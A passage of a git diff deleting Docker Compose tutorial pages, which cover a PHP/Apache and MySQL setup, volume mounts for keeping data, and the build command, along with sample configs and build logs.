sha256:8d436d7bb0262f042a9554b5c54b25bc1d19cabbb9435747672c34d12f8dc1d0 0.2s - => => extracting sha256:5543a36f8eed548f436944bf39a2e918115fc9b30b54416c1081566f25716010 0.0s - => => extracting sha256:28135fd83ed1ac66e6f4288fabe4c84616cfe420e8e6808ba92d052771325ab4 0.0s - => => extracting sha256:485201b000c7ca5a73c2f9d047a204442ea5871a8a1405809d623884d83afc05 0.1s - => => extracting sha256:9e92e56de9f5b0243dc28d80127f51f9f773d64ce4ae1ad58cfff06c2dcd4c29 0.0s - => => extracting sha256:709f68bc1d50527b9d9de50c516cb337468feb59c6135b414dda628d902a1bc8 0.2s - => => extracting sha256:c5ff78edaefc7917757ec4e434738d5561d016bedd20ebdeeee362ec53c8d200 0.0s - => => extracting sha256:119f7607f913c50661a95311027b7b944c7bf2ee9e7af5361a14b72ce4d36b34 0.0s - => => extracting sha256:1c04bb0b5fbe7c2927e6282625ccf4c5e0399e9da46f4a84bb8072dc98add6e5 0.0s - => => extracting sha256:9639d8c8cc76eb6501b4135a054c1a85bd7397db1010d043bcc03d32bf6d79b6 0.0s - => [2/2] COPY index.php /var/www/html 0.3s - => exporting to docker image format 4.3s - => => exporting layers 0.0s - => => exporting manifest sha256:4389df930ccac33c104717e827e5a6dc3de4ef60632784ca9ea76806b1bf88b7 0.0s - => => exporting config sha256:bcbc4a7a409f828a025ca857acb752536f4cece24a93121e6a920e0c4d60050f 0.0s - => => sending tarball 4.2s - => importing to docker 2.7s -[+] Running 2/2 - ⠿ Network 1-dc_default Created 0.1s - ⠿ Container 1-dc-phpapp-1 Created 0.3s -Attaching to 1-dc-phpapp-1 -1-dc-phpapp-1 | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message -1-dc-phpapp-1 | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.18.0.2. Set the 'ServerName' directive globally to suppress this message -1-dc-phpapp-1 | [Fri Mar 03 00:44:20.034230 2023] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.38 (Debian) PHP/7.2.34 configured -- resuming normal operations -1-dc-phpapp-1 | [Fri Mar 03 00:44:20.034331 2023] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND' -1-dc-phpapp-1 | 172.18.0.1 - - [03/Mar/2023:00:44:54 +0000] "GET / HTTP/1.1" 200 244 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15" -1-dc-phpapp-1 | 172.18.0.1 - - [03/Mar/2023:00:44:54 +0000] "GET /favicon.ico HTTP/1.1" 404 489 "http://localhost:8080/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15" -1-dc-phpapp-1 | 172.18.0.1 - - [03/Mar/2023:00:45:02 +0000] "GET / HTTP/1.1" 200 244 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15" -¸ - - -``` - -#### open browser - -```sh -http://localhost:8080 - -``` \ No newline at end of file diff --git a/content/en/docker/a21.Docker-Compose-volumes.md b/content/en/docker/a21.Docker-Compose-volumes.md deleted file mode 100644 index 419be3d..0000000 --- a/content/en/docker/a21.Docker-Compose-volumes.md +++ /dev/null @@ -1,60 +0,0 @@ ---- -title: "Docker Compose with Volume Mount" -slug: "Docker-Compose-with-Volume-Mount" ---- - -#### Lets build docker compose file - -```yml -version: '3' -services: - phpapp: - image: php:7.2-apache - ports: - - "8080:80" - volumes: - - "./:/var/www/html" -``` - -above when we do docker compose up it will start apache with php 7.2 -it will mount corrent directory to `/var/www/html` -also it mount port 80 of the container to port 8080 on the host - - -#### create index.php with following content - -```php - [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load build definition from Dockerfile.1 0.0s - => => transferring dockerfile: 58B 0.0s - => [internal] load metadata for docker.io/library/php:7.2-apache 4.7s - => [auth] library/php:pull token for registry-1.docker.io 0.0s - => CACHED [1/1] FROM docker.io/library/php:7.2-apache@sha256:4dc0f 0.0s - => => resolve docker.io/library/php:7.2-apache@sha256:4dc0f0115acf 0.0s - => exporting to docker image format 1.7s - => => exporting layers 0.0s - => => exporting manifest sha256:0ba34bb4f00dd5ff9830453180af98fe10 0.0s - => => exporting config sha256:a1c8ee68f9b1abcb72605f5bf0eee69dbf23 0.0s - => => sending tarball 1.6s - => importing to docker 0.0s -[+] Running 2/2 - ⠿ Network 3-dc-custom_default Cre... 0.1s - ⠿ Container my-php-app Created 0.1s -Attaching to my-php-app - - -``` - -#### check it out localhost 80 - - -http://localhost:8080 - - -update your existing Dockerfile with following content - -```dockerfile -FROM php:7.2-apache - -RUN apt-get -y update \ -&& apt-get install -y libicu-dev \ -&& docker-php-ext-configure intl \ -&& docker-php-ext-install intl - -RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli - - -``` - -update existing docker-compose.yml - -```bash -version: '3' -services: - phpapp: - build: - context: ./ - dockerfile: Dockerfile.2 - image: phpapp:123 - ports: - - "8080:80" - volumes: - - "./:/var/www/html" - container_name: my-php-app - -``` - -#### rebuild docker compose - -```sh -3-DC-Custom git:(main) ✗ docker compose up --build -[+] Building 43.1s (9/9) FINISHED - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load build definition from Dockerfile.2 0.0s - => => transferring dockerfile: 255B 0.0s - => [internal] load metadata for docker.io/library/php:7.2-apache 2.3s - => [auth] library/php:pull token for registry-1.docker.io 0.0s - => CACHED [1/3] FROM docker.io/library/php:7.2-apache@sha256:4dc0f 0.0s - => => resolve docker.io/library/php:7.2-apache@sha256:4dc0f0115acf 0.0s - => [2/3] RUN apt-get -y update && apt-get install -y libicu-dev & 28.9s - => [3/3] RUN docker-php-ext-install mysqli && docker-php-ext-enabl 6.9s - => exporting to docker image format 4.9s - => => exporting layers 2.3s - => => exporting manifest sha256:ee6a98e1847d8149754239ab5be0cad310 0.0s - => => exporting config sha256:2800277bcab2cb605936b4f874bff2c8251d 0.0s - => => sending tarball 2.6s - => importing to docker 0.5s -[+] Running 1/1 - ⠿ Container my-php-app Recreated 0.1s -Attaching to my-php-app -my-php-app | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.22.0.2. Set the 'ServerName' directive globally to suppress this message -my-php-app | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.22.0.2. Set the 'ServerName' directive globally to suppress this message -my-php-app | [Fri Mar 03 11:55:09.580207 2023] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.38 (Debian) PHP/7.2.34 configured -- resuming normal operations -my-php-app | [Fri Mar 03 11:55:09.580274 2023] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND' -my-php-app | 172.22.0.1 - - [03/Mar/2023:11:55:14 +0000] "GET /mysql HTTP/1.1" 404 490 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15" -my-php-app | 172.22.0.1 - - [03/Mar/2023:11:55:19 +0000] "GET / HTTP/1.1" 200 23831 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15" -¸^CGracefully stopping... (press Ctrl+C again to force) -Aborting on container exit... -[+] Running 1/1 - ⠿ Container my-php-app Stopped 1.2s -canceled - - -``` \ No newline at end of file diff --git a/content/en/docker/a23.php-database-docker-compose.md b/content/en/docker/a23.php-database-docker-compose.md deleted file mode 100644 index 47c3a5d..0000000 --- a/content/en/docker/a23.php-database-docker-compose.md +++ /dev/null @@ -1,219 +0,0 @@ ---- -title: "Simple php apache and database using docker compose" -slug: "Simple-php-apache-and-database-using-docker-compose" ---- - -we will see detach form logs upon start and user multiservices in one docker container - -```yml -version: '3' - -services: - phpapp: - build: - context: ./ - dockerfile: Dockerfile - image: phpapp:123 - ports: - - "8080:80" - volumes: - - "./:/var/www/html" - container_name: myphpapp-app - - db: - image: mysql:5.7 - restart: always - environment: - MYSQL_ROOT_PASSWORD: my!!!root!!!pw - container_name: myphpapp-db -``` - -here you see two services `phpapp` and `myphpapp-app` and image called phpapp with 123 tag - -another service called db form mysql this container restarts always which means it crashes ? the it -restarts automatically ! - -upon start we set a password for the root user "my!!root!!pw" just fo demostrate - -create dockerfile with following content - -```dockerfile - -FROM php:7.2-apache - -RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli -``` - -crete index.php with following content - -```php -connect_errno > 0) { - echo $db->connect_error; -} else { - echo "DB Connection successful\n\n"; -} - -``` - -#### build docker compose - -```sh - docker-compose up --build -[+] Building 22.7s (7/7) FINISHED - => [internal] load build definition from dockerfile 0.0s - => => transferring dockerfile: 126B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/php:apache-buster 2.6s - => [1/2] FROM docker.io/library/php:apache-buster@sha256:386b6018bd 8.1s - => => resolve docker.io/library/php:apache-buster@sha256:386b6018bd 0.0s - => => sha256:4ba26e0fdc7f78867d9be8a223260f2d592c7be7bd 893B / 893B 0.6s - => => sha256:224f38e513c9d90e092a021139f4859652f2981083 246B / 246B 0.5s - => => sha256:652ab663764a1e05149b0df37b8389096be761 2.46kB / 2.46kB 0.5s - => => sha256:fd3bc60f67a0da00904c6206528bdfa08ff9 11.36MB / 11.36MB 3.0s - => => sha256:a30f4659f909420c63fc05831b6b4847a9cbd15932 491B / 491B 0.6s - => => sha256:5387bfe59045447db1c94ed8d5fc84eb3803 12.38MB / 12.38MB 1.9s - => => sha256:02fed234e9e5648116b0206ab71f67d6de466202ca 513B / 513B 0.5s - => => sha256:0e3638958ff4f83d56ad9a11fc474f5af5e9336f3d 474B / 474B 1.4s - => => sha256:38ce3c4babbe62c529e9a7e6e4de5ac72168 18.58MB / 18.58MB 2.0s - => => sha256:573449e685b037ec25e2637d4fe3e19e09429f5521 269B / 269B 0.6s - => => sha256:de58dc66c01f3c4357b62fc24dc75f3b14a3 70.37MB / 70.37MB 3.8s - => => sha256:ed22f951ea44cd39f81544a2f0bf196ad60d 25.92MB / 25.92MB 1.9s - => => sha256:f0071d92462e7f83ca38e778e6dff5c113712119e2 226B / 226B 0.6s - => => extracting sha256:ed22f951ea44cd39f81544a2f0bf196ad60d13c1428 0.6s - => => extracting sha256:f0071d92462e7f83ca38e778e6dff5c113712119e27 0.0s - => => extracting sha256:de58dc66c01f3c4357b62fc24dc75f3b14a32bf650f 1.2s - => => extracting sha256:573449e685b037ec25e2637d4fe3e19e09429f55213 0.0s - => => extracting sha256:38ce3c4babbe62c529e9a7e6e4de5ac72168768d161 0.3s - => => extracting sha256:0e3638958ff4f83d56ad9a11fc474f5af5e9336f3d2 0.0s - => => extracting sha256:02fed234e9e5648116b0206ab71f67d6de466202ca2 0.0s - => => extracting sha256:5387bfe59045447db1c94ed8d5fc84eb3803be624d8 0.1s - => => extracting sha256:a30f4659f909420c63fc05831b6b4847a9cbd159320 0.0s - => => extracting sha256:fd3bc60f67a0da00904c6206528bdfa08ff9515ce14 0.2s - => => extracting sha256:652ab663764a1e05149b0df37b8389096be76171a21 0.0s - => => extracting sha256:224f38e513c9d90e092a021139f4859652f2981083e 0.0s - => => extracting sha256:4ba26e0fdc7f78867d9be8a223260f2d592c7be7bdb 0.0s - => [2/2] RUN docker-php-ext-install mysqli && docker-php-ext-enable 7.8s - => exporting to docker image format 4.2s - => => exporting layers 0.0s - => => exporting manifest sha256:a328dcabf983b4d59f41482a80e08861ee4 0.0s - => => exporting config sha256:b38bdd1cd3eabf8ea442587b892d0a0d86e6d 0.0s - => => sending tarball 4.1s - => importing to docker 2.5s -[+] Running 2/2 - ⠿ Container myphpapp-db Created 0.0s - ⠿ Container myphpapp-app Recreated 0.3s -Attaching to myphpapp-app, myphpapp-db -myphpapp-db | 2023-03-03 19:30:17+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.32-1.el8 started. -myphpapp-app | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.24.0.3. Set the 'ServerName' directive globally to suppress this message -myphpapp-app | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.24.0.3. Set the 'ServerName' directive globally to suppress this message -myphpapp-app | [Fri Mar 03 19:30:17.681041 2023] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.38 (Debian) PHP/8.2.3 configured -- resuming normal operations -myphpapp-app | [Fri Mar 03 19:30:17.681312 2023] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND' -myphpapp-db | 2023-03-03 19:30:17+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql' -myphpapp-db | 2023-03-03 19:30:17+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.32-1.el8 started. -myphpapp-db | '/var/lib/mysql/mysql.sock' -> '/var/run/mysqld/mysqld.sock' -myphpapp-db | 2023-03-03T19:30:18.754320Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead. -myphpapp-db | 2023-03-03T19:30:18.756720Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.32) starting as process 1 -myphpapp-db | 2023-03-03T19:30:18.764513Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started. -myphpapp-db | 2023-03-03T19:30:19.043718Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended. -myphpapp-db | 2023-03-03T19:30:19.237016Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed. -myphpapp-db | 2023-03-03T19:30:19.237069Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel. -myphpapp-db | 2023-03-03T19:30:19.238922Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory. -myphpapp-db | 2023-03-03T19:30:19.258982Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.32' socket: '/var/run/mysqld/mysqld.sock' port: 3306 MySQL Community Server - GPL. -myphpapp-db | 2023-03-03T19:30:19.259341Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '::' port: 33060, socket: /var/run/mysqld/mysqlx.sock -myphpapp-app | 172.24.0.1 - - [03/Mar/2023:19:30:35 +0000] "GET / HTTP/1.1" 200 235 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15" - -``` - -### open browser - -http://localhost:8080 - -if you see out put as DB Connection successful - -cheers ! - - -lets adda a query to select the existing database on the mariaDB server extend your index.php - -```php -connect_errno > 0) { - echo $db->connect_error; -} else { - echo "DB Connection successful\n\n"; - - //we read out the content - $result=mysqli_query($conn,"SHOW DATABASES;"); - while( $row = mysqli_fetch_row( $result ) ){ - echo $row[0]."\n"; - } -} - -``` - -rebuild your docker compose after updating your php file - - -```sh -4-DC-apache-database git:(main) ✗ docker-compose up --build -[+] Building 4.0s (8/8) FINISHED - => [internal] load build definition from dockerfile 0.0s - => => transferring dockerfile: 126B 0.0s - => [internal] load .dockerignore 0.0s - => => transferring context: 2B 0.0s - => [internal] load metadata for docker.io/library/php:apache-buster 2.3s - => [auth] library/php:pull token for registry-1.docker.io 0.0s - => [1/2] FROM docker.io/library/php:apache-buster@sha256:386b6018bd3f73fb8f0bda3d26f76f402c36a68ed9d061b00bd7c080ea1fc951 0.0s - => => resolve docker.io/library/php:apache-buster@sha256:386b6018bd3f73fb8f0bda3d26f76f402c36a68ed9d061b00bd7c080ea1fc951 0.0s - => CACHED [2/2] RUN docker-php-ext-install mysqli && docker-php-ext-enable mysqli 0.0s - => exporting to docker image format 1.6s - => => exporting layers 0.0s - => => exporting manifest sha256:a328dcabf983b4d59f41482a80e08861ee4226b2fe131b13a87bae3ff9b86e9c 0.0s - => => exporting config sha256:b38bdd1cd3eabf8ea442587b892d0a0d86e6d54251e1724444208996488da8e6 0.0s - => => sending tarball 1.6s - => importing to docker 0.1s -[+] Running 2/0 - ⠿ Container myphpapp-app Created 0.0s - ⠿ Container myphpapp-db Created 0.0s -Attaching to myphpapp-app, myphpapp-db -myphpapp-db | 2023-03-03 19:34:00+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.32-1.el8 started. -myphpapp-app | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.24.0.3. Set the 'ServerName' directive globally to suppress this message -myphpapp-app | AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.24.0.3. Set the 'ServerName' directive globally to suppress this message -myphpapp-app | [Fri Mar 03 19:34:00.799408 2023] [mpm_prefork:notice] [pid 1] AH00163: Apache/2.4.38 (Debian) PHP/8.2.3 configured -- resuming normal operations -myphpapp-app | [Fri Mar 03 19:34:00.799469 2023] [core:notice] [pid 1] AH00094: Command line: 'apache2 -D FOREGROUND' -myphpapp-db | 2023-03-03 19:34:00+00:00 [Note] [Entrypoint]: Switching to dedicated user 'mysql' -myphpapp-db | 2023-03-03 19:34:00+00:00 [Note] [Entrypoint]: Entrypoint script for MySQL Server 8.0.32-1.el8 started. -myphpapp-db | '/var/lib/mysql/mysql.sock' -> '/var/run/mysqld/mysqld.sock' -myphpapp-db | 2023-03-03T19:34:01.423026Z 0 [Warning] [MY-011068] [Server] The syntax '--skip-host-cache' is deprecated and will be removed in a future release. Please use SET GLOBAL host_cache_size=0 instead. -myphpapp-db | 2023-03-03T19:34:01.430139Z 0 [System] [MY-010116] [Server] /usr/sbin/mysqld (mysqld 8.0.32) starting as process 1 -myphpapp-db | 2023-03-03T19:34:01.437649Z 1 [System] [MY-013576] [InnoDB] InnoDB initialization has started. -myphpapp-db | 2023-03-03T19:34:01.524024Z 1 [System] [MY-013577] [InnoDB] InnoDB initialization has ended. -myphpapp-db | 2023-03-03T19:34:01.700495Z 0 [Warning] [MY-010068] [Server] CA certificate ca.pem is self signed. -myphpapp-db | 2023-03-03T19:34:01.700522Z 0 [System] [MY-013602] [Server] Channel mysql_main configured to support TLS. Encrypted connections are now supported for this channel. -myphpapp-db | 2023-03-03T19:34:01.701509Z 0 [Warning] [MY-011810] [Server] Insecure configuration for --pid-file: Location '/var/run/mysqld' in the path is accessible to all OS users. Consider choosing a different directory. -myphpapp-db | 2023-03-03T19:34:01.711706Z 0 [System] [MY-011323] [Server] X Plugin ready for connections. Bind-address: '::' port: 33060, socket: /var/run/mysqld/mysqlx.sock -myphpapp-db | 2023-03-03T19:34:01.711810Z 0 [System] [MY-010931] [Server] /usr/sbin/mysqld: ready for connections. Version: '8.0.32' socket: '/var/run/mysqld/mysqld.sock' port: 3306 MySQL Community Server - GPL. -myphpapp-app | 172.24.0.1 - - [03/Mar/2023:19:34:12 +0000] "GET / HTTP/1.1" 200 283 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15" - -``` - - -### open browser - -http://localhost:8080 \ No newline at end of file diff --git a/content/en/docker/a24.Host-Volume-mount.md b/content/en/docker/a24.Host-Volume-mount.md deleted file mode 100644 index 9349a22..0000000 --- a/content/en/docker/a24.Host-Volume-mount.md +++ /dev/null @@ -1,244 +0,0 @@ ---- -title: "Host Volume Mount - Data persistentence " -slug: "Host-Volume-Mount-Data-persistentence" ---- - -we already used database with web app but docker containers are ephermal. this means they are losing data once removed or re-started so somewhere need to find data persistent - -create `docker-compose.yml` using following content - -```yml -version: '3' -services: - db: - image: mysql:latest - restart: always - container_name: myphpapp-db - environment: - MYSQL_ROOT_PASSWORD: somepass - MYSQL_DATABASE: somedatabase - dbclient: - image: mysql:latest - depends_on: - - db - command: mysql -uroot -psomepass -hdb -``` - -MYSQL_DATABASE will create an empty database with the name "somedatabase" at first - -depends_on waits for the container to start on the other containers - - -### run the command - -```bash -5-DC-Host-Vol-mount git:(main) ✗ docker compose up -d -[+] Running 3/3 - ⠿ Network 5-dc-host-vol-mount_default Created 0.1s - ⠿ Container myphpapp-db St... 0.3s - ⠿ Container 5-dc-host-vol-mount-dbclient-1 Started 0.5s -``` - -#### check docker compose process - -```sh -5-DC-Host-Vol-mount git:(main) ✗ docker compose ps -NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS -myphpapp-db mysql:latest "docker-entrypoint.s…" db About a minute ago Up About a minute 3306/tcp, 33060/tcp - - -``` - -#### open mariadb shell - -```sh - docker compose run --rm dbclient -[+] Running 1/0 - ⠿ Container myphpapp-db Running 0.0s -mysql: [Warning] Using a password on the command line interface can be insecure. -Welcome to the MySQL monitor. Commands end with ; or \g. -Your MySQL connection id is 8 -Server version: 8.0.32 MySQL Community Server - GPL - -Copyright (c) 2000, 2023, Oracle and/or its affiliates. - -Oracle is a registered trademark of Oracle Corporation and/or its -affiliates. Other names may be trademarks of their respective -owners. - -Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. -mysql> - -``` -#### enter following SQL queries - -```sh -mysql> USE somedatabase; -Database changed -mysql> SHOW TABLES; -Empty set (0.01 sec) - -``` -#### lets create table -```sh -mysql> CREATE TABLE mytable (id INT) ; -Query OK, 0 rows affected (0.04 sec) - -mysql> SHOW TABLES; -+------------------------+ -| Tables_in_somedatabase | -+------------------------+ -| mytable | -+------------------------+ -1 row in set (0.01 sec) -mysql> exit -``` - -#### stop and remove container - -```sh -docker-compose stop -[+] Running 2/2 - ⠿ Container 5-dc-host-vol-mount-dbclient-1 Stopped 0.0s - ⠿ Container myphpapp-db Stopped 1.8s -5-DC-Host-Vol-mount git:(main) ✗ docker-compose rm -? Going to remove 5-dc-host-vol-mount-dbclient-1, myphpapp-db Yes -[+] Running 2/0 - ⠿ Container myphpapp-db Removed 0.0s - ⠿ Container 5-dc-host-vol-mount-dbclient-1 Removed 0.0s -➜ 5-DC-Host-Vol-mount git:(main) ✗ - -``` -### lets make data persistent even we remove container ? with volumesa nd a host mounded data directory -```sh -mkdir data - -``` -lets update docker-compose.yml - -```yml -version: '3' - -services: - db: - image: mysql:latest - restart: always - container_name: myphpapp-db - environment: - MYSQL_ROOT_PASSWORD: somepass - MYSQL_DATABASE: somedatabase - volumes: - - ./data:/var/lib/mysql - - dbclient: - image: mysql:latest - depends_on: - - db - command: mysql -uroot -psomepass -hdb -``` - -#### restart docker compose - -```sh - -docker-compose up -d -[+] Running 2/2 - ⠿ Container myphpapp-db Started 0.4s - ⠿ Container 5-dc-host-vol-mount-dbclient-1 Started - 0.7s -``` -### recreate table - -```sh -➜ 5-DC-Host-Vol-mount git:(main) ✗ docker compose run --rm dbclient -[+] Running 1/0 - ⠿ Container myphpapp-db Running 0.0s -mysql: [Warning] Using a password on the command line interface can be insecure. -Welcome to the MySQL monitor. Commands end with ; or \g. -Your MySQL connection id is 8 -Server version: 8.0.32 MySQL Community Server - GPL - -Copyright (c) 2000, 2023, Oracle and/or its affiliates. - -Oracle is a registered trademark of Oracle Corporation and/or its -affiliates. Other names may be trademarks of their respective -owners. - -Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. - -mysql> USE somedatabase; -Database changed -mysql> SHOW TABLES; -Empty set (0.01 sec) - -CREATE TABLE mytable (id INT) ; -Query OK, 0 rows affected (0.04 sec) - -mysql> SHOW TABLES; -+------------------------+ -| Tables_in_somedatabase | -+------------------------+ -| mytable | -+------------------------+ -1 row in set (0.00 sec) - -mysql> exit -``` - -#### stop and remove the container - -```sh -5-DC-Host-Vol-mount git:(main) ✗ docker compose stop -[+] Running 2/2 - ⠿ Container 5-dc-host-vol-mount-dbclient-1 Stopped 0.0s - ⠿ Container myphpapp-db Stopped 2.0s -➜ 5-DC-Host-Vol-mount git:(main) ✗ docker compose rm -? Going to remove 5-dc-host-vol-mount-dbclient-1, myphpapp-db Yes -[+] Running 2/0 - ⠿ Container myphpapp-db Removed 0.0s - ⠿ Container 5-dc-host-vol-mount-dbclient-1 Removed 0.0s -➜ 5-DC-Host-Vol-mount git:(main) ✗ - -``` -#### lets start db container again - -```sh -docker compose run --rm dbclient -[+] Running 1/0 - ⠿ Container myphpapp-db Running 0.0s -mysql: [Warning] Using a password on the command line interface can be insecure. -Welcome to the MySQL monitor. Commands end with ; or \g. -Your MySQL connection id is 8 -Server version: 8.0.32 MySQL Community Server - GPL - -Copyright (c) 2000, 2023, Oracle and/or its affiliates. - -Oracle is a registered trademark of Oracle Corporation and/or its -affiliates. Other names may be trademarks of their respective -owners. - -Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. - -mysql> - -``` - -#### lets data is persistent or not - -```sh -USE somedatabase; -Reading table information for completion of table and column names -You can turn off this feature to get a quicker startup with -A - -Database changed -mysql> SHOW TABLES; -+------------------------+ -| Tables_in_somedatabase | -+------------------------+ -| mytable | -+------------------------+ -1 row in set (0.00 sec) - -mysql> exit - -``` \ No newline at end of file diff --git a/content/en/docker/a25.Name-volume-mount.md b/content/en/docker/a25.Name-volume-mount.md deleted file mode 100644 index f8d95eb..0000000 --- a/content/en/docker/a25.Name-volume-mount.md +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: "Named Volume Mount - Data persistentence " -description: "Named volume sharing data" -slug: "Named-Volume-Mount-Data-persistentence" ---- - -### create volume - -```sh - 6-DC-name-volume git:(main) ✗ docker volume create --name my-vol -my-vol -``` - - -#### create docker-compose.yml with following content - -```yml -version: '3.7' - -services: - db: - image: mysql:latest - restart: always - container_name: myphpapp-db - environment: - MYSQL_ROOT_PASSWORD: somepass - MYSQL_DATABASE: somedatabase - volumes: - - my-vol:/var/lib/mysql - -volumes: - my-vol: - name: my-vol -``` - -#### run docker compose - -```sh - -docker compose up -d -WARN[0000] volume "my-vol" already exists but was not created by Docker Compose. Use `external: true` to use an existing volume -[+] Running 1/1 - ⠿ Container myphpapp-db Started 0.3s -➜ 6-DC-name-volume git:(main) ✗ - -``` -#### start new container with ubuntu -```sh -docker run -v my-vol:/mydata --rm -it ubuntu /bin/bash -``` - -show the database data files - -```sh -root@1666e5d6f315:/# cd mydata/ -root@1666e5d6f315:/mydata# ls -'#ib_16384_0.dblwr' binlog.000001 client-cert.pem mysql public_key.pem undo_001 -'#ib_16384_1.dblwr' binlog.000002 client-key.pem mysql.ibd server-cert.pem undo_002 -'#innodb_redo' binlog.index ib_buffer_pool mysql.sock server-key.pem -'#innodb_temp' ca-key.pem ibdata1 performance_schema somedatabase - auto.cnf ca.pem ibtmp1 private_key.pem sys -root@1666e5d6f315:/mydata# -root@1666e5d6f315:/mydata# exit -exit -``` - -### share data between two containers? lets try ? - -```sh -6-DC-name-volume git:(main) ✗ docker volume create --name Datastore1 -Datastore1 -``` -#### open a shell woth datastore1 in /mydatabase -```sh -docker run -v Datastore1:/mydatastore --rm -it ubuntu /bin/bash -``` -#### write a new text file - -```sh -echo "hello datastore1" > /mydatastore/hello.txt -root@4b119677c00b:/# ls -bin boot dev etc home lib media mnt mydatastore opt proc root run sbin srv sys tmp usr var -root@4b119677c00b:/# cat mydatastore/hello.txt -hello datastore1 -root@4b119677c00b:/# - -``` - -#### add another line - -```sh -root@4b119677c00b:/# echo "\n\nhello datastore 2" >> /mydatastore/hello.txt -root@4b119677c00b:/# cat mydatastore/hello.txt -hello datastore1 -\n\nhello datastore 2 -root@4b119677c00b:/# -``` \ No newline at end of file diff --git a/content/en/docker/a26.docker-compose-build.md b/content/en/docker/a26.docker-compose-build.md deleted file mode 100644 index f5501e4..0000000 --- a/content/en/docker/a26.docker-compose-build.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -title: "Docker Compose CLI - Build Command " -description: " Docker Compose Build Command " -slug: "Docker-Compose-CLI-Build-Command" ---- - - -### Docker Compose Build Command - -```sh -docker compose build [OPTIONS] [SERVICE...] - -``` - -If you change a service’s Dockerfile or the contents of its build directory, run docker compose build to rebuild it. - -`--build-arg` Set build-time variables for services.
-`--no-cache ` Do not use cache when building the image -`--progress auto` Set type of progress output (auto, tty, plain, quiet) .
-`--pull ` Always attempt to pull a newer version of the image..
-`--push ` Push service images..
-`--quiet , -q` Don’t print anything to STDOUT.
-`--ssh ` Set SSH authentications used when building .service images. (use ‘default’ for using your default SSH Agent) - - -#### create dockerfile with following content - - -```dockerfile -# syntax=docker/dockerfile:1 -FROM python:3.7-alpine -WORKDIR /code -ENV FLASK_APP=app.py -ENV FLASK_RUN_HOST=0.0.0.0 -RUN apk add --no-cache gcc musl-dev linux-headers -COPY requirements.txt requirements.txt -RUN pip install -r requirements.txt -EXPOSE 5000 -COPY . . -CMD ["flask", "run"] - -``` - -create app.py with following content - - -```python -import time - -import redis -from flask import Flask - -app = Flask(__name__) -cache = redis.Redis(host='redis', port=6379) - -def get_hit_count(): - retries = 5 - while True: - try: - return cache.incr('hits') - except redis.exceptions.ConnectionError as exc: - if retries == 0: - raise exc - retries -= 1 - time.sleep(0.5) - -@app.route('/') -def hello(): - count = get_hit_count() - return 'Hello World! I have been seen {} times.\n'.format(count) - - -``` - -#### create requirements.txt with following content - - -```txt -flask -redis - -``` - -create docker-compose.yml with following content - -```yml -version: "3.9" -services: - web: - build: . - ports: - - "8000:5000" - redis: - image: "redis:alpine" -``` - -### docker compose build - -```sh - - 7-DC-CLI git:(main) ✗ docker compose build -[+] Building 27.1s (15/15) FINISHED - => [internal] booting buildkit 0.5s - => => starting container buildx_buildkit_great_brahmagupta0 0.5s - => [internal] load build definition from Dockerfile 0.0s - => => transferring 